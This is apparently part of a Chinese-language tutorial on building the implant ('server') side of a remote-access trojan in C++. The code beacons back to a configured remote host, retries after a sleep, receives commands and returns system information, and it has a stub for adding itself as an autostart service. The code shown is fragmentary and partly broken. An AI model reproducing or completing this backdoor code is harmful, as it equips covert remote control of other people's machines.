服务端编写

新建工程

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


void Server();

void Server()
{
    CThreadMain Thread_Main;  // 主线程类  对象
    Thread_Main.GetInfo(); //获取配置信息
    /*if(Auto[1] == '1')
    {
        wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);
    }*/
  // 增加自启动  服务名
    while(true)
    {
        if(Thread_Main.RunFlag == false)
        {
            break;
        }
        SOCKET sock;
        sock = Thread_Main.Run();
        Thread_Main.Command(sock);
    }
}

int _tmain(int argc, _TCHAR* argv[])
{
	Server();
	return 0;
}

创建主线程类

获取配置信息

 void CThreadMain::GetInfo()
{
    int Port = atoi(czPort);
    this->Time = atoi(czTime);
    this->SetupDir = atoi(czSetupDir);
    this->AutoFlag = atoi(czAuto);
}


用来生成配置文件

运行

 
SOCKET CThreadMain::Run()
{
    SOCKET sock;
    while(true)
    {
        sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ip
        if(sock == NULL)
        {
            Sleep(this->Time * 1000);  //  等待60s
            printf("Sleep\n");
            continue;
        }
        else
        {
            break;
        }
    }
    return sock; 

}

command 命令

void CThreadMain::Command(SOCKET Sock)
{
    MSGINFO_S msg;
    m_Socket = Sock;
    while(1)
    {
        if(this->RunFlag == false)  // 程序是否可以运行
        {
            break;
        }
        memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空
        if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接
        {
            break;
        }
        ExecCommand(msg,Sock);  // 执行命令
    }
    return;
}


void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{
    switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }
}

头文件里创建引用

#pragma once

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();


private:
	
	SOCKET Run();
	void Command(SOCKET Sock);
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)

startsocket 开始监听 类函数

添加类

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
